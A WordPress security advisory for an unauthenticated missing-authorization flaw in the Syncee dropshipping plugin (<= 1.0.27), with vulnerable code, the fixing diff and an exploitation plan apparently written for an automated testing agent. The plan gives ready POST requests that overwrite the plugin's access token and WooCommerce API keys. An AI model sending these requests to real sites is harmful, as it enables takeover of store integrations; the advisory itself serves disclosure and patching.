Syncee Premium Dropshipping & Wholesale <= 1.0.27 - Missing Authorization
Description
The Syncee Premium Dropshipping & Wholesale plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.0.27. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.0.27What Changed in the Fix
Changes introduced in v1.0.28
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-54846 ## 1. Vulnerability Summary The **Syncee Premium Dropshipping & Wholesale** plugin (<= 1.0.27) contains a **Missing Authorization** vulnerability in its REST API implementation. The plugin registers several REST API endpoints in `includes/RestForSyncee.…
Show full research plan
Exploitation Research Plan - CVE-2026-54846
1. Vulnerability Summary
The Syncee Premium Dropshipping & Wholesale plugin (<= 1.0.27) contains a Missing Authorization vulnerability in its REST API implementation. The plugin registers several REST API endpoints in includes/RestForSyncee.php using the register_rest_route function. For many critical actions, the permission_callback is set to __return_true, and the callback functions themselves lack any capability or nonce checks. This allows unauthenticated attackers to modify plugin settings, such as access tokens and WooCommerce API credentials.
2. Attack Vector Analysis
- Endpoint:
/wp-json/syncee/retailer/v1/saveAccessTokenFromSyncee - Method:
POST - Vulnerable Parameter:
accessToken(POST body) - Authentication: None Required (Unauthenticated)
- Preconditions: The plugin must be active.
3. Code Flow
- Registration: In
includes/RestForSyncee.php, the__constructmethod hooks intorest_api_init, callingregisterEndpointsForSyncee. - Logic: The
registerEndpointsForSynceefunction iterates through the$this->endpointsarray. - Vulnerability: For the
'saveAccessTokenFromSyncee'entry under'POST', the protection status is set tofalse.'POST' => [ 'callbackFromWoocommerce' => false, 'saveAccessTokenFromSyncee' => false, // Set to false ... ] - Permission Callback: The
register_rest_routecall assigns__return_trueas thepermission_callbackbecause$protectedis false:'permission_callback' => $protected ? function () { return current_user_can('edit_others_posts'); } : '__return_true', - Execution: When a request hits the endpoint, the
saveAccessTokenFromSynceecallback is executed:
The function directly updates thefunction saveAccessTokenFromSyncee() { $accessToken = sanitize_text_field($_POST['accessToken']); update_option('syncee_access_token', $accessToken); // Sink wp_send_json_success(esc_html(get_option('syncee_access_token'))); }syncee_access_tokenoption with user-supplied data.
4. Nonce Acquisition Strategy
This vulnerability does not require a nonce for unauthenticated exploitation.
- The WordPress REST API only enforces nonce validation for authenticated cookie-based sessions to prevent CSRF.
- For unauthenticated requests (no session cookies), WordPress relies entirely on the
permission_callback. - Since
permission_callbackis explicitly set to__return_trueand the function body lacks manualcheck_ajax_refererorwp_verify_noncecalls, the endpoint is fully accessible to the public.
5. Exploitation Strategy
The goal is to modify the syncee_access_token setting via an unauthenticated POST request.
HTTP Request via http_request tool:
- Method:
POST - URL:
{{BASE_URL}}/wp-json/syncee/retailer/v1/saveAccessTokenFromSyncee - Headers:
Content-Type: application/x-www-form-urlencoded
- Body:
accessToken=pwned_by_researcher
6. Test Data Setup
- Install and activate the Syncee Premium Dropshipping & Wholesale plugin version 1.0.27.
- Ensure the
syncee_access_tokenoption is either empty or set to a known value.wp option get syncee_access_token(Expected: empty or initial value)
7. Expected Results
- The server should return an HTTP 200 OK status.
- The JSON response body should indicate success:
{"success":true,"data":"pwned_by_researcher"}. - The WordPress database will be updated, overwriting the
syncee_access_tokenoption.
8. Verification Steps
After performing the HTTP request, verify the state change using WP-CLI:
wp option get syncee_access_token
Verification Criterion: If the output is pwned_by_researcher, the exploit is confirmed.
9. Alternative Approaches
If saveAccessTokenFromSyncee is patched but other endpoints remain open, the following alternatives can be tested:
Modify WooCommerce Integration Data:
- Endpoint:
POST /wp-json/syncee/retailer/v1/callbackFromWoocommerce - Payload (JSON):
{"consumer_key": "ck_hacked", "consumer_secret": "cs_hacked", "key_permissions": "read_write", "user_id": "1"} - Verification:
wp option get data_to_syncee_installer
- Endpoint:
Trigger Unauthorized Disconnect:
- Endpoint:
POST /wp-json/syncee/retailer/v1/uninstallEcom - Effect: Deletes existing Syncee tokens if the remote call succeeds (or is spoofed).
- Endpoint:
Summary
The Syncee Premium Dropshipping & Wholesale plugin registers several REST API endpoints for configuration and integration without adequate authorization checks. This allow unauthenticated attackers to overwrite sensitive plugin settings, including access tokens and WooCommerce API credentials, by sending simple POST requests to the vulnerable endpoints.
Vulnerable Code
// includes/RestForSyncee.php private $endpoints = [ 'POST' => [ 'callbackFromWoocommerce' => false, 'saveAccessTokenFromSyncee' => false, 'saveTokenFromSyncee' => false, 'uninstallEcom' => false, ], 'GET' => [ 'getCallbackData' => false, 'getDataForFrontend' => true, 'getRequirements' => false, 'getShopData' => false, ], ]; function registerEndpointsForSyncee() { foreach ($this->endpoints as $requestType => $endpoints) { foreach ($endpoints as $rest => $protected) register_rest_route( $this->namespace, $rest, [ 'methods' => $requestType, 'callback' => array($this, $rest), 'permission_callback' => $protected ? function () { return current_user_can('edit_others_posts'); } : '__return_true', ] ); } } --- // includes/RestForSyncee.php L140-145 function saveAccessTokenFromSyncee() { $accessToken = sanitize_text_field($_POST['accessToken']); update_option('syncee_access_token', $accessToken); wp_send_json_success(esc_html(get_option('syncee_access_token'))); }
Security Fix
@@ -1,162 +1,189 @@ -<?php - - -class RestForSyncee -{ - private $namespace = 'syncee/retailer/v1'; - private $endpoints = - [ - 'POST' => [ - 'callbackFromWoocommerce' => false, - 'saveAccessTokenFromSyncee' => false, - 'saveTokenFromSyncee' => false, - 'uninstallEcom' => false, - ], - 'GET' => [ - 'getCallbackData' => false, - 'getDataForFrontend' => true, - 'getRequirements' => false, - 'getShopData' => false, - ], - ]; - - function __construct() - { - add_action('rest_api_init', array($this, 'registerEndpointsForSyncee')); - } - - - function registerEndpointsForSyncee() - { - foreach ($this->endpoints as $requestType => $endpoints) { - foreach ($endpoints as $rest => $protected) - register_rest_route( - $this->namespace, - $rest, - [ - 'methods' => $requestType, - 'callback' => array($this, $rest), - 'permission_callback' => $protected ? function () { - return current_user_can('edit_others_posts'); - } : '__return_true', - ] - ); - } - } +<?php + + +class RestForSyncee +{ + private $namespace = 'syncee/retailer/v1'; + + function __construct() + { + add_action('rest_api_init', array($this, 'registerEndpointsForSyncee')); + } + + function registerEndpointsForSyncee() + { + $routes = [ + ['startInstallFlow', 'POST', [$this, 'permission_admin']], + ['callbackFromWoocommerce', 'POST', $this->require_state('woocommerce_auth')], + ['saveAccessTokenFromSyncee', 'POST', $this->require_state('syncee_install')], + ['saveTokenFromSyncee', 'POST', $this->require_state('syncee_install')], + ['uninstallEcom', 'POST', [$this, 'permission_admin']], + ['getRequirements', 'GET', [$this, 'permission_admin']], + ['getDataForFrontend', 'GET', [$this, 'permission_admin']], + ]; + + foreach ($routes as $route) { + list($endpoint, $method, $permission_callback) = $route; + register_rest_route( + $this->namespace, + $endpoint, + [ + 'methods' => $method, + 'callback' => [$this, $endpoint], + 'permission_callback' => $permission_callback, + ] + ); + } + } + + public function permission_admin() + { + return current_user_can('manage_options'); + } + + private function require_state($required_stage) + { + return function (WP_REST_Request $request) use ($required_stage) { + $state = $request->get_param('state'); + if (!is_string($state) || strlen($state) < 32) { + return false; + } + $key = 'syncee_state_' . hash('sha256', $state); + $stored_stage = get_transient($key); + if ($stored_stage !== $required_stage) { + return false; + } + delete_transient($key); + return true; + }; + }
Exploit Outline
The exploit targets the WordPress REST API endpoint `/wp-json/syncee/retailer/v1/saveAccessTokenFromSyncee`. Because the plugin explicitly sets the `permission_callback` to `__return_true` for this route and fails to perform any manual capability or nonce checks within the callback, the endpoint is globally accessible. An unauthenticated attacker can send a POST request with an `accessToken` parameter in the request body (application/x-www-form-urlencoded). The plugin's `saveAccessTokenFromSyncee` function will then sanitize this input and update the `syncee_access_token` option in the database, effectively hijacking the plugin's synchronization mechanism or disrupting store operations.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.